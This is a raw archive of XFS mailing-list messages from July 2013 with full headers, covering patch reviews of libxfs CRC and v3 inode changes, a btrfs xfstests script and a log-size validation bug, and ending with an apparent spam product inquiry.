bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Jul 23, 2013 at 01:26:48PM -0500, Ben Myers wrote: > On Fri, Jun 07, 2013 at 10:25:26AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > Signed-off-by: Dave Chinner > > This patch mostly corresponds to commit ee1a47ab0e, and in some areas it is > equivalent but slightly different. There are some other things in here too: > > * Addition of XFS_BUF_DADDR_NULL > * rename of b_blkno to b_bn in struct xfs_buf > * rename of b_fsprivate to b_fspriv in struct xfs_buf > * addition of uuid_copy and uuid_equal, and libuuid to build > > It all looks fine to me, except as below: I think you'll find they are fixed up in later patches in the series. Indeed, I think it's a little late to asking for these patches to be changed, considering that making significant changes to these first few patches will mean that I have to rebase a 100 or so subsequent patches. For issues that aren't fixed in later patches, I'll add new patches to the end of the current series to fix them. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 19:53:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 29D017CBF for ; Wed, 24 Jul 2013 19:53:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 08DF98F8033 for ; Wed, 24 Jul 2013 17:53:26 -0700 (PDT) X-ASG-Debug-ID: 1374713605-04cb6c2e9f26850001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id aoG6YnZHeILM9FdS for ; Wed, 24 Jul 2013 17:53:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An8IAIN28FF5LPxH/2dsb2JhbABbgwaDKLYMhTqBFRd0giQBAQQBJxMcIwULCAMOBwMJJQ8FJQMhE4gKBboQFo9nB4MSbgOXXpFOgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 10:23:01 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V29nf-0002za-53; Thu, 25 Jul 2013 10:52:59 +1000 Date: Thu, 25 Jul 2013 10:52:59 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/48] libxfs: add version 3 inode support Message-ID: <20130725005259.GD11222@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/48] libxfs: add version 3 inode support References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-8-git-send-email-david@fromorbit.com> <20130723223007.GN3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130723223007.GN3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374713605 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 23, 2013 at 05:30:07PM -0500, Ben Myers wrote: > Dave, > > On Fri, Jun 07, 2013 at 10:25:30AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > Signed-off-by: Dave Chinner > > > > Header from folded patch 'debug': > > > > xfs_quota: fix report command parsing > > > > > > The report command line needs to be parsed as a whole not as > > individual elements - report_f() is set up to do this correctly. > > When treated as non-global command line, the report function is > > called once for each command line arg, resulting in reports being > > issued multiple times. > > > > Set the command to be a global command so that it is only called > > once. > > > > Signed-off-by: Dave Chinner > > This header looks like it came from an unrelated patch. So remove it ;) > Looks like this patch mostly corresponds to commit 93848a999cf. > There is also: > > * changes to printing i4_count, i8_count, and size fields for shortform directories > * changes to start filling in v3 inode specific fields > * make logprint stop asserting on v3 inodes > * add support for creating v3 realtime bitmap, realtime summary, and root_dir inodes > > There are a couple of issues below: > > > diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c > > index feb4a4e..57fbae2 100644 > > --- a/libxfs/xfs_ialloc.c > > +++ b/libxfs/xfs_ialloc.c > > @@ -146,6 +146,7 @@ xfs_ialloc_inode_init( > > int version; > > int i, j; > > xfs_daddr_t d; > > + xfs_ino_t ino = 0; > > > > /* > > * Loop over the new block(s), filling in the inodes. > > @@ -169,8 +170,18 @@ xfs_ialloc_inode_init( > > * the new inode format, then use the new inode version. Otherwise > > * use the old version so that old kernels will continue to be > > * able to use the file system. > > + * > > + * For v3 inodes, we also need to write the inode number into the inode, > > + * so calculate the first inode number of the chunk here as > > + * XFS_OFFBNO_TO_AGINO() only works on filesystem block boundaries, not > > + * cluster boundaries and so cannot be used in the cluster buffer loop > > + * below. > > */ > > - if (xfs_sb_version_hasnlink(&mp->m_sb)) > > + if (xfs_sb_version_hascrc(&mp->m_sb)) { > > + version = 3; > > + ino = XFS_AGINO_TO_INO(mp, agno, > > + XFS_OFFBNO_TO_AGINO(mp, agbno, 0)); > > + } else if (xfs_sb_version_hasnlink(&mp->m_sb)) > > version = 2; > > else > > version = 1; > > @@ -196,13 +207,21 @@ xfs_ialloc_inode_init( > > xfs_buf_zero(fbuf, 0, ninodes << mp->m_sb.sb_inodelog); > > There is a section in commit 93848a999cf where the above line is > modified to this: > > xfs_buf_zero(fbuf, 0, BBTOB(fbuf->b_length)); > > I suggest you pull that in here too. It's correct in the current TOT, so I'm not going to change it here. > You added a #define for uuid_copy in an earlier patch. I suggest you use it if > you can. There are several occurances. There's only two calls to platform_uuid_copy() left in the current patchset, and they were introduced in the current patchset. SO I'm not going to go back and fix it here, either. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 19:57:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5BF477CBF for ; Wed, 24 Jul 2013 19:57:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 056A4AC003 for ; Wed, 24 Jul 2013 17:57:30 -0700 (PDT) X-ASG-Debug-ID: 1374713849-04bdf02f2327b50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id jTcJGVwVQmrWKB6j for ; Wed, 24 Jul 2013 17:57:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An8IAIN28FF5LPxH/2dsb2JhbABbgwaDKLYMhTqBFRd0giQBAQUnExwjEAgDDgcDCSUPBSUDIROID7oQFo9nB4MSbgOXXpFOgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 10:27:29 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V29rx-00030X-5N; Thu, 25 Jul 2013 10:57:25 +1000 Date: Thu, 25 Jul 2013 10:57:25 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/48] xfs: add CRC checks to block format directory blocks Message-ID: <20130725005725.GE11222@dastard> X-ASG-Orig-Subj: Re: [PATCH 09/48] xfs: add CRC checks to block format directory blocks References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-10-git-send-email-david@fromorbit.com> <20130724205358.GR3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130724205358.GR3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374713849 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 24, 2013 at 03:53:58PM -0500, Ben Myers wrote: > On Fri, Jun 07, 2013 at 10:25:32AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > Now that directory buffers are made from a single struct xfs_buf, we > > can add CRC calculation and checking callbacks. While there, add all > > the fields to the on disk structures for future functionality such > > as d_type support, uuids, block numbers, owner inode, etc. > > > > To distinguish between the different on disk formats, change the > > magic numbers for the new format directory blocks. > > > > Signed-off-by: Dave Chinner > > corresponds to commit f5f3d9b016 > > > --- > > include/xfs_dir2_format.h | 155 +++++++++++++++++++++++++++++++++++++++++-- > > libxfs/xfs_dir2_block.c | 126 +++++++++++++++++++++++++---------- > > libxfs/xfs_dir2_data.c | 160 ++++++++++++++++++++++++++++----------------- > > libxfs/xfs_dir2_leaf.c | 6 +- > > libxfs/xfs_dir2_node.c | 2 +- > > libxfs/xfs_dir2_priv.h | 4 +- > > libxfs/xfs_dir2_sf.c | 2 +- > > 7 files changed, 346 insertions(+), 109 deletions(-) > > > > diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h > > index f5c264a..da928c7 100644 > > --- a/include/xfs_dir2_format.h > > +++ b/include/xfs_dir2_format.h > > ... > > > @@ -215,11 +247,43 @@ typedef struct xfs_dir2_data_free { > > */ > > typedef struct xfs_dir2_data_hdr { > > __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ > > - /* XFS_DIR2_BLOCK_MAGIC */ > > + /* XFS_DIR2_BLOCK_MAGIC */ > > This change to remove some tabs does not match the kernel code. Suggest you > remove it. Maybe you have done that in one of the syncs later. All this has been done in later syncs. I'd suggest that you need to check the current code, as what was committed to the crc-dev branch didn't *exactly* match what was in the kernel code. Why do you think I spent so much time trying to unify them after this? > > + bf = xfs_dir3_data_bestfree_p(hdr); > > + p = (char *)xfs_dir3_data_entry_p(hdr); > > > > switch (be32_to_cpu(hdr->magic)) { > > case XFS_DIR2_BLOCK_MAGIC: > > + case XFS_DIR3_BLOCK_MAGIC: > ^^^^^ > > In the kernel the endian flip is done here, not in the switch parens. See later patches. It's done that way here because the kernel method causes compilation failure. i.e. this patch: [PATCH 06/49] libxfs: fix byte swapping on constants modifies the xfsprogs infrastructure to allow the kernel method to be used in userspace, and it swaps all the libxfs code around. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bo.li.liu@oracle.com Wed Jul 24 20:10:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D146F7CBF for ; Wed, 24 Jul 2013 20:10:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id ACCF48F8033 for ; Wed, 24 Jul 2013 18:10:01 -0700 (PDT) X-ASG-Debug-ID: 1374714599-04cb6c2e9d278d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id pGDFD9FIGDgwfC11 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 18:10:00 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6P19w1s004735 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 01:09:59 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6P19vSk014548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 01:09:58 GMT Received: from abhmt103.oracle.com (abhmt103.oracle.com [141.146.116.55]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6P19vCt014542; Thu, 25 Jul 2013 01:09:57 GMT Received: from localhost.localdomain (/10.182.228.124) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 24 Jul 2013 18:09:57 -0700 Date: Thu, 25 Jul 2013 09:09:49 +0800 From: Liu Bo To: Ben Myers Cc: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] Xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Message-ID: <20130725010949.GA5202@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] Xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Reply-To: bo.li.liu@oracle.com References: <1372844780-31845-1-git-send-email-bo.li.liu@oracle.com> <20130724232949.GX3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130724232949.GX3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374714600 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, Jul 24, 2013 at 06:29:49PM -0500, Ben Myers wrote: > On Wed, Jul 03, 2013 at 05:46:20PM +0800, Liu Bo wrote: > > This is to test whether snapshot-aware defrag can work well on partial extents. > > > > Signed-off-by: Liu Bo > > --- > > tests/btrfs/308 | 93 +++++++++++++++++++++++++++++++++++++++++++++++++++ > > tests/btrfs/308.out | 2 + > > tests/btrfs/group | 1 + > > 3 files changed, 96 insertions(+), 0 deletions(-) > > create mode 100755 tests/btrfs/308 > > create mode 100644 tests/btrfs/308.out > > > > diff --git a/tests/btrfs/308 b/tests/btrfs/308 > > new file mode 100755 > > index 0000000..b3dd39c > > --- /dev/null > > +++ b/tests/btrfs/308 > > @@ -0,0 +1,93 @@ > > +#! /bin/bash > > +# BTRFS QA Test No. 308 > > +# > > +# Test if snapshot-aware defrag can work well on partial extents, ie. > > +# extent_offset is not zero. > > +# > > +#----------------------------------------------------------------------- > > +# Copyright (c) 2013 Oracle. All Rights Reserved. > > +# > > +# This program is free software; you can redistribute it and/or > > +# modify it under the terms of the GNU General Public License as > > +# published by the Free Software Foundation. > > +# > > +# This program is distributed in the hope that it would be useful, > > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > > +# GNU General Public License for more details. > > +# > > +# You should have received a copy of the GNU General Public License > > +# along with this program; if not, write the Free Software Foundation, > > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > > +#----------------------------------------------------------------------- > > +# > > + > > +seq=`basename $0` > > +seqres=$RESULT_DIR/$seq > > +echo "QA output created by $seq" > > + > > +here=`pwd` > > +tmp=/tmp/$$ > > +status=1 # failure is the default! > > +trap "_cleanup; exit \$status" 0 1 2 3 15 > > + > > +_cleanup() > > +{ > > + cd / > > + rm -f $tmp.* > > +} > > + > > +# get standard environment, filters and checks > > +. ./common/rc > > +. ./common/filter > > + > > +# real QA test starts here > > + > > +# Modify as appropriate. > > +_supported_fs generic > > _supported_fs btrfs > > Since this is btrfs specific, I think _supported_fs should be btrfs. > > I didn't see anything obviously wrong with the rest of this, but I'd rather see > a review from a btrfs expert. > > Reviewed-by: Ben Myers Oh yeah, it's right, I'll update it and resend, thanks. -liubo From david@fromorbit.com Wed Jul 24 23:11:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1AEFF7CBF for ; Wed, 24 Jul 2013 23:11:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07C64304039 for ; Wed, 24 Jul 2013 21:11:21 -0700 (PDT) X-ASG-Debug-ID: 1374725475-04cb6c2e9d34e00001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 9yx9q2IXl0xCf15X for ; Wed, 24 Jul 2013 21:11:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An4IAK+k8FF5LPxH/2dsb2JhbABagwaDKLYBhTqBFhd0giQBAQUnExweFQgDFQMJJQ8FJQM0iA+6IxaOJoFIFoNqA5dekU6DJiqBLAIeBg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jul 2013 13:41:15 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2CtW-0003Mv-6Z for xfs@oss.sgi.com; Thu, 25 Jul 2013 14:11:14 +1000 Date: Thu, 25 Jul 2013 14:11:14 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: Re: [PATCH 42/49] xfs: Validate log space at mount time Message-ID: <20130725041114.GG13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 42/49] xfs: Validate log space at mount time References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-43-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374215120-7271-43-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374725475 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 19, 2013 at 04:25:13PM +1000, Dave Chinner wrote: > From: Jie Liu > > Validate log space during log mount stage, the underlying function > will drop a warning message via syslog in critical level if the log > space is too small or too large. > > [ dchinner: For CRC enable filesystems, abort the mounting of the > filesystem as mkfs should never make a log too small for the given > filesystem configuration. ] > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_log.c | 49 ++++++++++++++++++++++++++++++++++++++++++++++++- > 1 file changed, 48 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > index b02415b..64b1f01 100644 > --- a/fs/xfs/xfs_log.c > +++ b/fs/xfs/xfs_log.c > @@ -614,7 +614,9 @@ xfs_log_mount( > xfs_daddr_t blk_offset, > int num_bblks) > { > - int error; > + int error = 0; > + int min_logfsbs; > + int max_logfsbs; > > if (!(mp->m_flags & XFS_MOUNT_NORECOVERY)) > xfs_notice(mp, "Mounting Filesystem"); > @@ -631,6 +633,51 @@ xfs_log_mount( > } > > /* > + * Validate the given log space and drop a critical message via syslog > + * if the log size is too small that would lead to some unexpected > + * situations in transaction log space reservation stage. > + * > + * Note: we can't just reject the mount if the validation fails. This > + * would mean that people would have to downgrade their kernel just to > + * remedy the situation as there is no way to grow the log (short of > + * black magic surgery with xfs_db). > + * > + * We can, however, reject mounts for CRC format filesystems, as the > + * mkfs binary being used to make the filesystem should never create a > + * filesystem with a log that is too small. > + */ > + min_logfsbs = xfs_log_calc_minimum_size(mp); > + max_logfsbs = XFS_BB_TO_FSB(mp, XFS_MAX_LOG_BLOCKS); Actually, that's busted: XFS (vdc): Log size 521728 blocks too large, maximum size is 131072 blocks XFS (vdc): Log size out of supported range. Continuing onwards, but if log hangs are experienced then please report this message in the bug report. I'll need to revisit this. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 23:15:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 194AC7CBF for ; Wed, 24 Jul 2013 23:15:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB36B8F8033 for ; Wed, 24 Jul 2013 21:15:43 -0700 (PDT) X-ASG-Debug-ID: 1374725742-04cb6c153d30aa0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id G6voSgvOxdnsF8Xm for ; Wed, 24 Jul 2013 21:15:42 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An4IAOel8FF5LPxH/2dsb2JhbABagwaDKLYBhTqBFhd0giQBAQU6HDMIAxgJGgsPBSUDIQESiA+6IRaPboQAA5deiiOHK4FbgUsq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jul 2013 13:45:41 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2Cxm-0003NI-Ko; Thu, 25 Jul 2013 14:15:38 +1000 Date: Thu, 25 Jul 2013 14:15:38 +1000 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130725041538.GH13468@dastard> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 References: <20130712023930.GA6473@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130712023930.GA6473@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374725742 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 10:39:30PM -0400, Dave Jones wrote: > Just saw this during boot after an unclean shutdown. It hung afterwards. > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > [ 97.164646] ------------[ cut here ]------------ I just reproduced this by chance. I know exactly what I was doing when it went bang, so I might be able to reduce it from scattergun blast testing to be able to reproduce it on demand. Cheers, Dave. -- Dave Chinner david@fromorbit.com From random@random.org Wed Jul 24 23:17:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E2317CBF for ; Wed, 24 Jul 2013 23:17:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4BE168F8033 for ; Wed, 24 Jul 2013 21:17:53 -0700 (PDT) X-ASG-Debug-ID: 1374725869-04bdf02f2236bc0001-w1Z2WR Received: from stl-mail.STL.local (mail.stl-solutions.com [77.240.6.157]) by cuda.sgi.com with ESMTP id ujLBIRtET30RVSpf for ; Wed, 24 Jul 2013 21:17:50 -0700 (PDT) X-Barracuda-Envelope-From: random@random.org X-Barracuda-Apparent-Source-IP: 77.240.6.157 Received: from stiappserver ([74.92.240.61] RDNS failed) by stl-mail.STL.local with Microsoft SMTPSVC(6.0.3790.3959); Thu, 25 Jul 2013 05:18:52 +0100 From: "Eloise Caumartin" Subject: Re: Product Inquiry To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Product Inquiry Content-Type: multipart/alternative; boundary="d=_yjSm8CsZ1hbaDv7UpIMlDBKQ8uc2IBB0" MIME-Version: 1.0 Reply-To: loisecaumartin@gmail.com Date: Thu, 25 Jul 2013 00:17:38 -0400 Message-ID: X-OriginalArrivalTime: 25 Jul 2013 04:18:52.0890 (UTC) FILETIME=[122DABA0:01CE88EE] X-Barracuda-Connect: mail.stl-solutions.com[77.240.6.157] X-Barracuda-Start-Time: 1374725869 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format --d=_yjSm8CsZ1hbaDv7UpIMlDBKQ8uc2IBB0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable - This mail is in HTML. Some elements may be ommited in plain text. - Good Day, My Name is Eloise the purchasing Manager of ITC(Internation Trading CO= mpany) We are Interested in some of your products as requested by our = customers,could you kindly send me your full catalog of products with = clear photos, and list of FOB prices in USD with prices,competitive pr= ices for serious starting. Also get back to us with the following: 1.MOQ: 2.Delivery Terms: 3.Payment Terms: L/C at sight or T/T Awaiting your quick reply, Warmest regards, Eloise --d=_yjSm8CsZ1hbaDv7UpIMlDBKQ8uc2IBB0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable

    Good Day,

